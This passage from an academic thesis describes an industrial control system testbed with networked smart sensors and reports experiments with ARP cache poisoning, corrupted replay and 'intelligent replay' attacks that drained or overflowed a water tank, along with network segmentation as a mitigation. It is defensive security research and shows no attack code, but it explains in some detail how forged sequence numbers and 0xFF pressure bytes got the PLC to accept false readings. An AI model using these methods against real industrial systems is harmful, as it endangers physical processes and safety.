knowledge of the process, the design of the ICS, and safety systems involved. This is 
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understandable since an attacker needs to understand more than just a typical network structure as 
well as specific industrial protocols. The authors used Figure 16 to depict the scale of difficulty of 
an ICS cyberattack visually. The scale goes from easy to extremely hard to achieve, outside of the 
circle to the inside respectively. To affect a process, for example, a denial-of-service attack, is 
considered somewhat easy to accomplish according to the scale. Furthermore, attacks which have 
a high chance of process or equipment effect is towards the harder end of the spectrum. The 
difficulty stems from how the authors define a difficult attack. If it has a high guarantee of success 
and repeatability, it likely took a significant amount of time in data gathering and testing. 
 
Figure 16. SANS ICS Attack Difficulty Scale [45]. 
 
2.4  Chapter Summary 
 This chapter gives a brief overview of a typical ICS and two of its commonly known subsets, 
Supervisory Control and Data Acquisition and Distributed Control Systems, as well as the 
differences and similarities between each. A very brief description is given of equipment found in 
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each along with their intended purpose in an ICS. In addition, a discussion of the terms IoT and 
IIoT are given, which at a basic level are defined as devices with microprocessors, the ability to 
communicate across the Internet, and have dedicated purposes. The opportunities IIoT devices 
offer are vast, but because of how they can make a process reliant on the network instead of direct 
connection to control, this presents the concern and question of how does this change the attack 
surface of an ICS? In Chapter 4, attacks are crafted to explore the negative possibilities of malware 
which infect an ICS network reliant on devices like smart sensors. 
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III.  Testbed Design and Configuration 
3.1  Chapter Overview 
 This chapter provides the details pertaining to the Lab-Volt 3531 Training System, otherwise 
known here as the testbed. The system is upgraded with the necessary equipment to make it a more 
connected system. The intent of the testbed is to train a student / engineer on a live and functioning 
system which can physically represent a micro-process of what is in practical use in many ICS. It 
has systems for pumping and draining water, regulating temperature, measuring flow rate, and 
other computing systems like a Human Machine Interface. The testbed is upgraded for this 
research with four smart sensors and a network-based DPT.  
3.2  The Testbed and Upgrades 
 Figure 17 shows the central portion of the testbed which has a water tank, water pump, true-
level DPT sensor, valve actuator, and new smart sensors. Additionally, pictured are dashed yellow 
lines on the water tank which indicate 100% full at 33 inches, 50% full at 18 inches, and 0% full 
at 3 inches. These values are chosen to allow for situations where the attacks could lead to extreme 
ends of the water level. Figure 18 displays the second cart which holds the computing components 
of the testbed. The components necessary to the experiments are the HMI, data logger, and the 
PLC. The HMI is strictly used to configure the set point, choose the respective smart sensor for 
the experiment, and start the water pump. The data logger is never officially used but is mentioned 
since it is on the same network as the other devices and polling the PLC for data. The PLC pictured 
has two Ethernet/IP (ENIP) modules boxed in red; for the sake of identifying the two, the leftmost 
is ENIP module 1 and the rightmost is ENIP module 2. 
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Figure 17. The Lab-Volt 3531 Main Cart Components. 
 36 
 
   
Figure 18. Lab-Volt 3531’s Computing Cart. 
  
 
 
 37 
 
 Mounted on the left of the computing cart, but not visible in Figure 18, are the IO-Link master 
communication modules. The sensors connect to these modules for their network capabilities; this 
is pictured in Figure 19. The two used for the experiments are identified with a 1 and 3 inside a 
red outlined star. Star 1 is the Allen-Bradley 1732E-8IOLM12R 8-Channel IO-Link Master, and 
Star 3 is the Balluff BNI EIP-507-005-Z040 IO-link Master Module. Star 1 is attached to an Allen-
Bradley smart sensor, and Star 3 is attached to a Balluff smart sensor. The other two modules 
pictured are the same models; Star 2 has an Allen-Bradley smart sensor, and Star 4 has a Balluff 
smart sensor. The modules are for future research and connected to the network but are not used 
by the PLC for control during testing. 
 
Figure 19. Master Communication Modules. 
1 
2 
3 
4 
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 Figure 20 shows the two models of smart sensors installed on the testbed. The two in the red 
dashed boxed on the left are the Allen-Bradley 836P-D1NMGA14PA-D4 Solid State Pressure 
Sensors. The two in the red dotted box on the right are the Balluff BSP B002-FV004-D06S1A-S4 
Pressure Sensors. Both sets of sensors can be operated as simple analog pressure sensors or put in 
a digital operating mode and communicate using the IO-Link protocol. For the experiments, the 
sensors operate in the digital IO-Link mode. 
 
Figure 20. Mounted Smart Sensors. 
 The networked DPT pictured in Figure 17 gets its network capability by connecting to the 
analog module in slot 1 of the Allen-Bradley 1756 ControlLogix PLC in Figure 21 and 
communicates with the main PLC on the bottom of Figure 18 via the Ethernet/IP module in slot 0. 
This design demonstrates how network-based devices can be used to manage a process with 
today’s technology. In fact, the PLC in Figure 21 could provide similar functionality as the smart 
sensors such as diagnostic information and remote programmability. 
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Figure 21. PLC with Ethernet/IP and Analog Modules. 
3.3  Testbed Control Loop and Network Design 
 Figure 22 shows the network design before the smart sensor upgrades. It provides a visual 
representation of the process and how the devices interact with the controlled process. The water 
is pumped into the tank at a constant rate of 5 L/min. The pressure is read by the hardwired DPT 
which sends the reading to the PLC. The PLC calculates how much it needs to adjust the valve and 
sends the signal. The valve then opens or shuts by whatever increment it is told, and the water 
drains accordingly. The important note about this setup is that even though the PLC is connected 
to the engineering PC, HMI, and data logger via the network switch, the PLC does not need them 
to control the process. If the network should go down the sensor is hardwired along with the 
actuator, and the PLC can continue to control the process.  
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Figure 22. Legacy Testbed Network Design and Control Loop. 
 Figure 23 represents the newly upgraded testbed which replaces the DPT with smart sensors. 
The portion highlighted in red represent the segment of the testbed which will undergo the network 
attacks. The smart sensor node in the figure represents the three different networked sensors 
described in Section 3.2 depending on the experiment. Because the sensors now need to 
communicate through the network to the PLC, the PLC is now dependent on the network to receive 
its sensor data in order to decide on how to control the valve. This dependency widens the attack 
surface of the ICS network to attacks which do not necessarily need to be targeted, as the protocol-
agnostic attacks in this research shows. The network set up shown in Figure 23 best allows for the 
evaluation of attack surface. 
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Figure 23. New Testbed Network Design and Control Loop. 
3.4  Solution Testbed Network Design 
 To help mitigate the weaknesses in dependencies on network-based smart sensing, a solution 
network configuration is tested which separates devices non-critical to the control of the process 
from devices which are critical devices. This network set up is seen in Figure 24 with the red 
portion depicting the expected reach of the network attacks to be performed. The network 
configuration separates the engineering PC from the nodes considered to be critical to the actual 
control of the process. It is through this network separation the network attacks performed in this 
research can be mitigated. The configuration is made possible by ENIP module 2 in Figure 18. 
The critical devices are connected to ENIP module 1 and are completely separated, network-wise, 
from the engineering PC. 
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Figure 24. Solution Testbed Network Set up. 
3.5  Chapter Summary 
 This chapter provides the details on the setup of the testbed. The setup includes its IO-link 
communication module and smart sensor upgrades, the addition of a networked DPT sensor, and 
the two different network layouts which are used in the experiments described in Chapter 4. 
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IV.  Methodology 
4.1  Overview 
 This chapter presents details pertaining to the experiments carried out against the testbed. The 
end goal of the experiments is to discover the effects of protocol-agnostic attacks on an ICS 
network which depends on IIoT technology, specifically smart sensors, to control a process. To 
determine this, a series of experiments are conducted against the communication lines between the 
PLC and the master link communication modules of the sensors with protocol-agnostic network 
attacks, the goal of which is to degrade the process. The smart sensors are accessible to the network 
via communication modules which they are connected to; therefore, to affect the process through 
the pressure readings the attacks must be done between the PLC and the communication modules. 
4.2  Objective 
 The objective of this research is to discover changes in attack surface by attacking the network 
which supports the smart sensors and PLC in order to disrupt the control process. 
4.3 Experiment Assumptions 
  It is assumed the time between experimental runs, determined by the procedure in Section 4.8, 
is enough to allow the testbed to reset fully and not have effects which crossed into the next 
experimental run.  
4.4  System Under Test 
 To better picture the experiment, the System Under Test (SUT) and Component Under Test 
(CUT) are shown in Figure 25 and further depicts the factors, parameters, and metrics. The data 
for the metrics is polled from the PLC using a standalone laptop connected to ENIP 2 module. The 
 44 
 
second module is used during the solution experiments to separate the engineering PC from the 
operational network. The component under test is the network supporting the PLC and IIoT device. 
 
Figure 25. System Under Test Diagram. 
 
4.5  Experiment Factors 
 The research presented in this chapter is summarized in Table 2. The table shows all possible 
factors and levels used to create a full-factorial experiment consisting of the 18 experiments in 
Table 3. The experiments are separated into two categories: the same subnet and subnetted. Their 
intent is to discover which network layout, sensor implementation, and attack combinations lead 
to network disruptions due to a process controlled by IIoT as well as which combination best 
 45 
 
prevents such attacks. Each of the same-subnet experiment is run 10 times, and the subnetted 
experiments are only run 5 times since the expected outcome is no negative results from the 
attacks. Sections 4.5.1 through 4.5.3 describe each factor and their levels in the experiments. 
 
Table 2. Factors Used to Construct the Experiments. 
 
 
Table 3. List of Experiments and Their Respective Order. 
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4.5.1  Attack Factor 
 The attack factor consists of three levels. All three attack levels are engineered in such a way 
as to be industrial protocol-agnostic, requiring no knowledge of protocols beyond the TCP/UDP 
layer. The attacks take advantage of the unifying features previously depicted in Table 1 without 
needing to know the specific protocols in use. Since the attack levels are protocol-agnostic, any 
observed outcomes could have comparable effects with other industrial network protocols because 
of the similar designs described in Chapter 2. Should any one of the experiments be successful in 
disruption, this would demonstrate a new method of disturbance an ICS process from the network 
which was not previously possible with legacy sensor equipment. Each of the attacks were written 
using a Python package called Scapy (version 2.3.3). The full scripts for each of the attacks used 
are located in Appendix A. 
  4.5.1.1  Address Resolution Protocol Cache Poison 
 Since the PLC and sensors communicate over a network using standard IP protocols, this attack 
poisons the ARP tables of the sensor and PLC to confuse their media access control (MAC) address 
of the other node and renders them unable to pass the current pressure reading to each other. This 
attack focuses on the Transport Protocol column shown in Table 1. Two ARP packets are sent 
every five seconds, one to the PLC and one to the sensor. The expected result is traffic will no 
longer route correctly between the two nodes, severing the communication leading to some 
disruption of the process. This attack simulates what would happen if some denial-of-service attack 
would occur resulting in severing of network connection whether it be intentional or unintentional. 
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4.5.1.2  Corrupted Packet Replay 
 This attack focuses on exploiting the remaining unifying portions of Table 1, specifically the 
protocols which use UDP, with the intent to cause disruption or data manipulation without 
knowing the specific protocol. In this attack, the infected engineering computer performs a Man-
In-the-Middle (MITM) attack between the sensor and PLC by poisoning the ARP tables of both 
nodes and allowing the traffic to flow between the infected computer. Then the infected computer 
monitors for UDP traffic between the PLC and the sensor by sniffing up to 300 packets at a time, 
searching for UDP packets with a payload. If none of the 300 packets intercepted contains a UDP 
packet with a payload then the attack script assumes insertion failed and tries to reinsert itself; 
taking about 15 seconds to do so. If three periods of sniffing and failure occur, the script shuts 
down and is considered a failure. A pilot study was conducted to determine how much of a packet 
would need to be corrupted which would allow it to still remain a possible valid packet and it was 
determined that 15% could be sufficient. Therefore, if the script is able to intercept a UDP packet, 
it randomly flips 15% of the bytes in the payload portion of the UDP packet and replays that packet 
in the direction it was heading. This attack simulates an attacker wishing to cause widespread 
effects on an ICS via a worm without care for industrial protocol used. 
   4.5.1.3  Intelligent Replay Attack 
 The final attack is called the Intelligent Replay Attack. Similar to Section 4.5.1.2, this attack 
focuses on attacking the unifying portions of the UDP based protocols. Where the Intelligent 
Replay Attack differs is how it is designed to adapt to the unifying portions regardless of protocol 
and attack portions that consistently change between packets. After a Man-In-the-Middle attack, 
the script sniffs 300 packets at a time looking for UDP packets sent from the sensor to the PLC. 
Once it finds at least two, it does a quick analysis to see if any bytes in the UDP packet payload 
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are changing. If any are identified, those bytes are added to a set of data which keeps track of 
which bytes are changing with each iteration. The attack then sets those observed bytes to 0xFF 
with the hopes that one of the observed bytes is the pressure and a false reading of 0xFF is accepted 
as a value which the PLC considers a high-pressure value. The attack then replays the packet in 
the direction it was heading and sniffs for another 300 packets. This process continues for the five 
minutes the experiment is conducted, all the while keeping a master record of all the bytes 
changing with the intent to corrupt all those values. This would simulate an attacker wishing to 
cause a more consistent widespread effect via data manipulation without needing to know the 
specific industrial protocol used for the IIoT device. 
 4.5.2  Sensors Factor 
 The testbed has several smart sensors installed, all with slight differences. The intent of the 
variations is not only to show interoperability of the sensors but also show the attacks can work 
for more than one combination of the networked sensor. Due to the difference in technology and 
implementations, the sensors are split into two different categories: smart sensors and networked 
legacy sensor. The three levels for this factor are the Allen-Bradley, Balluff, and networked DPT 
sensors. 
  4.5.2.1  Smart Sensor 
 The first two levels are the Allen-Bradley and Balluff smart sensors. Each of these levels 
require the use of a communication module and use the IO-Link protocol to communicate relevant 
process and service data. The process data is received by the modules, converted into Ethernet 
frames, then sent to the PLC over the TCP/IP network in plain text. 
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4.5.2.2  Networked DPT Sensor 
 This sensor is specifically included as a factor level to show the type of sensing provided by 
smart sensors can be accomplished with current technology in the field: a PLC, Ethernet/IP 
Module, an Analog IO module, and a Differential Pressure Transmitter (DPT) sensor. The sensor 
transmits the pressure using a 4-20 mA signal to an analog IO module attached to a PLC where 
the information is then transmitted by the ENIP module to the main PLC. Through this process the 
DPT functions like an IIoT device. 
 4.5.3  Network Layout Factor 
 The networks implemented in the experiment are simple, needing little configuration and a 
multi-layer switch. This factor has two levels: the same subnet or subnetted layouts. The same 
subnet layout is expected to be the most successful in attacking since access to all nodes is possible 
and unrestricted. The subnetted network is expected to prevent all attacks since the attacks function 
under the assumption that the engineering computer operates on the same subnet as the PLC and 
sensors. By separating the engineering computer from the rest of the devices, this prior assumption 
is removed, mitigating the network attacks performed. 
4.6   Metrics 
 The valve position, sensor pressure readings from all three sensors, and the true water level are 
all measured metrics. Data is recorded using a standalone laptop computer which polls the PLC 
via a dedicated Ethernet/IP module. In addition to these, the true water level is used to calculate 
the success metric further described in Section 4.8. If any experimental run is successful, the data 
is analyzed for time to success in seconds which is determined by the moment the attack data 
crosses either the maximum or minimum of the idle phase’s measurements.  
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4.7  Parameters 
 The following list represents the parameters which remained unchanged throughout the 
experiment.  
 The pump is set to maintain a flow of 5 Liters / Minute. 
 High pressure is calibrated on all sensors when water is at full capacity or 33 inches of 
water. The PLC is configured to register this value as 100 percent full. After the initial 
calibration, the value of 100 percent remained constant. 
 Low pressure is calibrated on all sensors when water is at 3 inches of water. The PLC is 
configured to register this value as zero percent full. After the initial calibration, the value 
of 0 percent remains constant. 
 The scripts used for the attacks remain unchanged between all the experiments with the 
exception of IP address changes to specify different targets. 
 Each experiment is conducted in the same fashion as described in Section 4.8. 
 The engineering desktop computer used to launch the attack scripts in the experiments 
remains the same with an Intel Xeon Quad Core E5504 @ 2.00 GHz processor and 16 GB 
of RAM. The host operating system is Windows 10 and is running Kali Linux 2017-03 on 
VirtualBox 5.2.22 r126460. The Kali image is dedicated full use of the host’s processor 
and 8 GBs of RAM. The computer accesses the network via a Plugable USB 2.0 to Ethernet 
Fast 10/100 LAN Wired Network Adapter. 
 The laptop computer used to record the network traffic and readings from the PLC remains 
the same. The host laptop runs an Intel Dual Core i7-6500U CPU @ 2.50 GHz and 8 GB 
of RAM. The Kali Linux 2016-02 image is loaded onto a bootable USB and runs in 
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memory on the host. The computer accessed the network via a Plugable USB 2.0 to 
Ethernet Fast 10/100 LAN Wired Network Adapter. 
4.8   Procedure 
 Table 4 is the procedure which is strictly executed. Following this procedure ensures that all 
experiments are conducted in the same manner and any observed anomalies are due to the actual 
experiment and not to any change in the way they are performed. For a point of clarity, “steady 
state” for the testbed is an observed state in the process. Once the water level reaches its set point, 
the valve maintains the level by oscillating in a sinusoidal pattern. The behavior is seen in all idle 
readings before the attacks are launched. The experiments are 7.5 minutes long which capture how 
the water level is behaving for a baseline as well as immediate effects of an attack. The idle 
readings are the first 2.5 minutes of data recording where the networked DPT, smart sensors, valve, 
and true level readings are polled twice a second. The next five minutes record the same devices 
as the network experiences the attacks. 
4.9  Statistical Analysis 
 Each experiment is 7.5 minutes in length with the first 2.5 minutes being the idle phase, where 
no attack is taking place, and the next 5 minutes being the attack phase. Figure 26 provides a 
visualization for the timeline of the experiments using the graph of a run six of experiment two 
(ACP against Allen-Bradley sensor on same subnet). The two phases shown are how the data is 
divided for the analysis. In other words, when testing for success metric and uniqueness using the 
permutation test, the idle phase data (highlighted in grey) is tested against the attack phase 
(highlighted in orange). The maximum, medium, and idle phase median are calculated from the 
idle phase’s data as shown. The attack median is calculated from the attack phase’s portion of the 
data. 
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Table 4. Procedure for Experiments 
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Figure 26. Experiment Timeline 
 
An experiment is considered a statistical success if it meets the two following conditions: 
Condition 1: The median of attack phase’s data rises above the maximum or falls below the 
minimum of the idle phase’s data. 
Condition 2: The difference in idle and attack medians are tested for significance using the 
approximate permutation test (discussed in section 4.10). If this results in a p-value at or 
below   = 0.05 then it is a success. 
 Calculating the median value of the data as opposed to the mean ensures that the success 
criteria is less susceptible to outliers present in the dataset. Condition 1 identifies potential 
successful experiments, and condition 2 confirms and justifies the success of the experiment. The 
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p-value extracted from the approximate permutation test is used to judge the null hypothesis which 
is there is no difference in the medians between the two data sets; this is represented by (1). The 
alternative hypothesis is there is some difference in medians between the two data sets; this is 
represented by (2). The significance threshold is set to   = 0.05. Therefore, if the approximate 
permutation test produces a p-value lower than 0.05, there is significant evidence to reject the null 
hypothesis meaning there is a less than 5% chance the medians of the two data sets are equal. 
H0: Idle median = Attack median        (1) 
H1: Idle median ≠  Attack median       (2) 
4.10  Approximate Permutation Test 
 Due to the non-normal and unpredictable nature of the data collected during the experiments, 
typical parametric statistical tests such as T and Z test cannot be used. Therefore, tests for 
significance of a statistic are judged by a method which does not rely on any assumptions of 
distribution; the permutation test [46, 47, 48] meets this need. The goal of the permutation test is 
to determine how unique the observed difference is between two data sets by testing all different 
permutations of the data points. If by repeated testing of all new data sets through permutations of 
the data reveals the same results as the original observed difference, then the original observation 
is not unique and there is no evidence for the two data sets to be dissimilar. The permutation test 
operates on two different data sets and examines the difference between the two sets using a 
statistic of a user’s choosing, such as the median which is used in the experiments in this research. 
After calculating the median of each data set and recording the original difference, the data points 
between the two sets are redistributed and recalculated by creating all possible permutations of the 
data points.  
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 Even though the data collected during a single run of an experiment is small in nature (typically 
around 800 data points), a complete permutation is not possible since to do so would take 800 
factorial shuffles. Instead, an approximate permutation test is accomplished in which only a subset 
of total possible permutations is performed. The permutations are created at random and are 
otherwise known as Monte Carlo Samplings [46, 47]. A pilot study was conducted to ascertain the 
number of random samplings n to perform in order to achieve consistency between permutation 
tests. The study revealed that after at 50 thousand random samplings, the consistency of the 
computed p-value was consistent. The following are the steps followed to complete the 
approximate permutation test.  
 1. Calculate the original difference in medians (visually depicted in Figure 27). 
 2. Combine the data sets, randomly shuffle the data points, and divide the data points  
 back into the same size data sets as before. (Depicted in Figure 28) 
 3. Compute the difference of medians between the two data sets. Repeat step two n times. 
 4. To calculate the p-value, count the amount of times step three produced a difference in 
 median that met or exceeded the value computed in step one, and divide the number by n. In 
 other words, the p-value is also a percentage of the permutations which met or exceeded the 
 value computed in step one. This is visually represented in (3). 
   (3) 
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Figure 27. Calculating Original Difference in Medians 
 
 
Figure 28. Randomly Redistributing Data and Calculate New Difference in Median. 
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4.11  Chapter Summary 
 In summary, this chapter provides the details pertaining to the experiment. The experiment is 
a full factorial with 3 factors with (3,3,2) levels to create the 18 experiments conducted. In order 
for the experiment run to be considered as a success it must meet both conditions 1 and 2. 
Condition 2 is confirmed through the approximate permutation test about the median statistic. 
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V.  Results and Analysis 
5.1  Chapter Overview 
 This chapter provides an analysis of the baseline and summarizes the results of the 18 
experiments conducted. The baseline analysis tests the reliability of the statistical methods used to 
evaluate the effectiveness of the experiments. Table 5 shows the overall success or failure of each 
experiment based on the two conditions in Section 4.9. Table 6 and Table 7 present the 
corresponding significance tests for difference in medians based on meeting condition 1 in Section 
4.9. Each of the tests p-values in Table 6 and Table 7 are zeros which means each of the original 
difference in medians observed were so unique that not one of the 50 thousand random samples 
met or exceeded the original observed. Also included in Table 6 and Table 7, are the times to 
success in seconds. The rest of this chapter focuses on six unique situations observed during test 
runs of the experiments and are organized by the attack type:  
 ARP Cache Poison. 
o Outcome 1: The sensor’s connection is cut at set point (three different variations) 
o Outcome 2: The sensor’s connection is cut and leads to overflow 
o Outcome 3: The sensor’s connection is cut and leads to drainage 
o Outcome 4: The valve’s increase changes the direction of water flow 
 Intelligent Replay  
o Outcome 5: The sensor’s data is successfully manipulated and accepted by the PLC 
 Corrupted Replay and Attacks on Subnetted devices 
o Outcome 6: Little to no effect is observed 
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 Each of the graphs’ y-axis values are in percentage; the sensors and true level represent the 
capacity of the tank, and the valve is read percentage closed. In other words, the valve should be 
read as 100% closed or 0% closed (i.e., fully open). In order to compare the behavior of the system 
under attack to the system under normal operations, baseline graphs are supplied in Appendix A. 
Table 5. Summary of Experiment Results 
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Table 6. Successful ARP-Cache Poison Difference P-Values and Time to Success (in seconds) 
 
Table 7. Intelligent Replay Difference in Median Significance Test 
 
5.2  Baseline Analysis 
 5.2.1  Section Overview and Success Metric 
In order to determine the effectiveness of the two conditions used to evaluate the success of an 
attack, the conditions will be used to analyze the testbed during a state in which no attacks are 
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being conducted. The testbed is operated with each smart sensor and measured for 10 minutes with 
no malicious activity. These measurements provide a baseline for how the testbed normally 
operates with each of the sensors. The results of the statistical tests are shown in Table 8. Within 
the baselines, it is expected of condition 1, known as the success metric, to detect true negatives. 
In other words, when testing for the success metric, because there is no attack activity there should 
be negative results which is exactly what is seen in Table 8. Due to the absence of attacks and 
external interactions, the behavior of the testbed is calm enough to not have situations which trigger 
the success metric. 
Table 8. Baseline Analysis Results. 
 
 
5.2.2  Baseline and Permutation Test 
When it comes to condition 2, known as the permutation test, its purpose is to detect the 
uniqueness of two datasets using some function. With the median as an example, the permutation 
test should detect if the original observed difference in medians is a result of random chance or 
possibly due to some true unique phenomenon. Seen in the P-Value column in Table 8, are several 
detections of unique conditions in all three of the baselines identified by values less than 0.05. 
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Although the differences in median were very small, they are still testing as unique. To understand 
what the cause of uniqueness could be, the baselines are analyzed through different windows. The 
first window is 0 – 7.5 minutes which is the same length and frame as the experiments. The next 
window is 0 - 10 minutes which is an extended window; this window provides a more long-term 
picture of the behavior of the system. Lastly, a 2.5 – 10 minute window is analyzed; this window 
is the same length as the experiments but shifted to remove the first 2.5 minutes of the readings; 
this aids in investigating how the analysis might look if the baseline is analyzed during a potentially 
more stable state. In each case when testing the data, the first 2.5 minutes of this new window are 
tested against the remainder of the window just like it is done in the experiments. 
After using all three windows for analysis, what seems to be happening in all baselines is the 
testbed coming to an equilibrium over a longer period. In other words, because there is no 
malicious activity taking place, the PID loop is able to reach its set-point more accurately over 
longer periods of time. Looking at the medians of all three windows for the DPT and Balluff sensor 
in Table 8, the idle median is consistently lower than its respective attack median indicating its 
steady state is at a higher point than the start of the readings. For the Allen-Bradley sensor, the 
indication is in the opposite direction; the steady state is lower than at the start of the readings. Out 
of the three sensors, the DPT seemed to have reached a stable state more quickly as indicated by 
its shifted window permutation test p-value. In other words, through random permutations, the 
data was able to achieve the similar results 63.68% of the permutated runs which hints at the 
difference in medians are likely due to randomness. The Allen-Bradley sensors with the same 
shifted window revealed the sensor was getting closer to equilibrium but was not fully achieved. 
The Balluff sensor behaved in a similar fashion, getting closer to its equilibrium but not achieved 
in the 10-minute observation window. 
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The behavior of the baselines can be seen in the graphs in Figure 29, Figure 30, Figure 31 each 
with an added trendline to aid in seeing the direction each of the sensors is heading for equilibrium.  
 
Figure 29. Testbed Baseline True Level with Allen-Bradley Sensor 
 
Figure 30. Testbed Baseline True Level with Balluff Sensor 
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Figure 31. Testbed Baseline True Level with DPT 
 
5.2.3  Section Summary 
This section explores the effectiveness of statistical method used to analyze the experiments. 
When used against the baseline, the conditions for success detailed in Section 4.9 reveal several 
things. As expected, condition 1 should have failed due to the lack in presence of attacks and 
external interactions. Condition 2 revealed possible difference between the idle portion of the data 
and the portion that would be considered the attack portion of the data. This difference was 
determined to be due to the testbed reaching an equilibrium over a longer period of time. Alone, 
the conditions give two different insights on a data set, together they provide a clearer picture. 
Condition 1 identifies results which were extreme enough to be analyzed for a successful attack. 
Condition 2 verifies if the difference in the two distributions are due to randomness or because of 
a unique situation. 
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5.3  ARP Cache Poison Outcomes 
 With 28 out of the 30 ARP Cache Poisoning attacks succeeding, the following sections are 
the different outcomes observed amongst all 30 runs. 
 5.3.1  Outcome 1: Connection Cut at Set Point 
 The first outcome that occurs is when the ARP cache poison (ACP) attack cuts the connection 
right as the reading of the sensor is at set point; this results in three different variations seen in 
Figure 32, Figure 33, and Figure 34. One drains the tank, the second fills the tank higher than the 
set point, and the third has minimal impact during the test interval. Each of these variations is due 
to the PLC continually reacting to the last reading when the sensor hits 50%. The PLC will hold 
the valve position when it gets readings at set point because the PLC calculates that no more 
adjustments are needed to maintain water level. Therefore, if the valve’s halted position is closed 
enough, then the water will rise due to the inability to drain faster than the 5 L/min of inflow. To 
clarify, the valve’s purpose is to control access to the drainage path installed in the testbed. Because 
the experiments start with the tank filled to 50% capacity, the rate at which the testbed drains 
depends on two factors: how closed the valve is, and how fast the rate of flow is into the tank. 
Because the rate of flow into the tank remains constant, the rate of drain depends on how much 
access is to the drainage path as allowed by the valve. In Figure 32, the valve is just open enough 
and is sufficient for the tank to drain. In Figure 33, however, the valve is just closed enough at 
48.10991% and the tank fills.   
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Figure 32. ACP Attack with Sensor at Set Point and Draining 
 
Figure 33. ACP Attack with Sensor at Set Point and Filling. 
 Figure 34 shows how the halted valve position is barely enough to get the tank to change its 
level within any significance. Test run 10 of the Allen-Bradley sensor is one case of the ARP cache 
poison attack that did not succeed with condition 1, hence its absence from the successes in Table 
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6. It is not that the attack caused no effect; instead it is that the attack did not change the distribution 
of data fast enough to succeed within the given time constraints. By calculating average of the 
rates of change between each of the successive data points and using it to predict the trend of the 
data past the 5 minute window, with another 29.60 seconds the water level would have risen above 
the idle phase’s maximum and the experiment would have been considered a success. 
 
 
Figure 34. Failed ACP Attack with Allen-Bradley Sensor. 
 
 5.3.2  Outcome 2: Overflow Outcome 
 There are four instances where the ACP attack severs the connection when the sensor reads 
below the set point leading the PLC to close the valve 100% to try and bring the water back to set 
point. One such case is seen in Figure 35. Eventually, the water fills up the tank well past 100% 
seen around sample number 590, and it starts to overflow past capacity. As the water fills past 
capacity, it drains into a safety tube built into the testbed at the very top of the tank. As the true 
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water level goes past its programmed 100% pressure calibration, it reaches so high the pressure 
data received by the PLC goes out of expected range. At this point, the PLC experiences a 
malfunction and begins to report the true level DPT information as if the water is draining. Even 
though the PLC reports pressure that seemed as if it was draining the tank to 0% capacity, this is 
impossible since the valve remains 100% closed and the water spills over at the top of the tank. 
The explanation for this malfunction is not fully known despite significant study, but the best 
theory is the overpressure caused unexpected errors between the sensors and PLC leading to this 
unexplainable behavior. 
 
Figure 35. Overpressure Outcome. 
 5.3.3  Outcome 3: Drainage Outcome 
 In this observed outcome, pictured in Figure 36, the sensor’s last reading rests above the 50% 
set point, so the PLC adjusts the valve to attempt to level out to the set point. Because the sensor’s 
data is out of date, the PLC acts on false information opening the valve completely; this causes the 
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water to completely drain from the tank by sample number 550 which translates to about the 5-
minute mark. The negative reading of the true level is due to draining past the 3-inch zero point. 
 
Figure 36. Drainage caused by disconnection. 
 5.3.4  Outcome 4: Change in Direction of Water Flow 
 A unique situation that ended in failure occurred during the ARP cache poison attack with the 
DPT as the experimental sensor seen in Figure 37. When the connection is cut, the valve is too 
open at first which causes the gradual drop in water level. However, the last sensor value received 
is just under the set point enough to cause a slow increase in the valve closure. This slow closure 
eventually is enough to reverse the drainage and begin to refill the tank which balances the median 
leading to eventual failure of the metrics. Even though in this situation the test was considered a 
failure, by calculating the average rate of change using the same technique as used for the situation 
in Figure 34 and using it to predict a theoretical extended time frame, it is determined that with 
another 20.99 seconds the test would have been a success.  
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Figure 37. Change in Direction of Water Flow. 
 
5.4  Intelligent Replay - Outcome 5: Sensor Data is Successfully Manipulated 
 This outcome is the most interesting one out of the 18 experiments. It is only observed when 
launching the intelligent replay attack against the Allen-Bradley sensor on the same-subnet 
configuration, one of which is seen in Figure 38. When the intelligent replay is launch as the Allen-
Bradley sensor is used for process control, the results are the same for all 10 runs, making it the 
most consistent and predictable of all the attacks. Upon inspection of the network traffic, there are 
three portions of the packet which consistently change. The sequence number in the Ethernet/IP 
header, the sequence number in the Common Industrial Protocol header, and the pressure data. 
These portions of the packet are boxed in red in Figure 39 with the pressure data being the red box 
at the bottom of the figure. Through the study of the network capture pertaining to this experiment, 
it is determined that if the two sequence numbers are the same, the packet’s data is accepted by 
the PLC; if there is a discrepancy, it is ignored. Additionally, the sequence number must meet or 
exceed the expected next value by the PLC, or it is ignored. The attack corrupts all the bytes it 
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observes with the same value of 0xFF (all bits as 1’s). This value translates to the PLC as a higher 
sequence number (matching in both locations) and a high pressure which is interpreted as if the 
tank is at 228% capacity. This value of course is not true, contrasted by the true level’s value which 
is more around 50% in Figure 38. Nevertheless, 0xFF was interpreted by the PLC to be about 
228%. Since the PLC received a packet that has a higher than expected sequence number, it reacts 
to the pressure data. The PLC then assumes it missed a set of the communicated data points, so it 
closes the UDP communication stream and reconnects with the module through a management 
TCP connection. With This TCP connection, the PLC creates a new UDP communication stream 
from which the PLC will receive its pressure data from. This resyncing reaction is repeated every 
time the attack executes, leading the PLC to drain the tank entirely and prevents it from refilling 
since the PLC keeps accepting the high value of pressure and reconnecting. 
 In other words, the attack identifies two portions of the UDP packet which are continually 
adjusting, the sequence number and pressure data. It does not decipher which portion is which only 
that it is changing every packet. The attack then changes those portions to 0xFF which is, in this 
testbed, a high value. The attack then replays the packet with the two identified portions corrupted 
with high values. The PLC interprets this new packet as having a high value of pressure and a 
sequence number far in advanced from what it is expecting. The PLC reacts to the high pressure 
by opening the valve, thinking the water level is too high. Immediately after this the PLC detects 
that there is a lapse in data due to a high sequence number, so it decides to start a fresh connection 
with the module and restarts the sequence number back to zero. During this resync process the 
valve remains open and drains the tank. This happens multiple times throughout the attack and the 
tank never gets a chance to fill back to a normal capacity due to its continual resyncing. 
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 This attack failed with the Balluff and networked DPT sensor because these two sensors send 
two different UDP packets: one with pressure data and one management. These different packets 
confuse the attack to misidentify critical bytes and thus does not corrupt the correct portions of 
packets. 
 
Figure 38. Intelligent Replay Result. 
 73 
 
 
Figure 39. Ethernet/IP packet dissection. 
5.5  Corrupted Replay and Subnetted Scenario 6: Little to No effect is observed 
 Every case of the experiments in the subnetted category failed to cause an effect on the process 
and maintained a normal behavior as seen with Figure 40 which is the ACP attack against the DPT 
when operating from the subnetted infected computer. The failure is fully expected since the 
attacks are all network-based and cannot reach the critical network.  
All other failed same-subnet experiments (4, 5, 6, 7, 9) fail because no effect is significant 
enough to change the overall data distribution, and any outlying effects were from the MITM 
portion of the attack. Figure 41 is an example of how a failed attack looks like. More specifically, 
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Figure 41 is the Intelligent replay attack against the Balluff sensor on the same network. The spike 
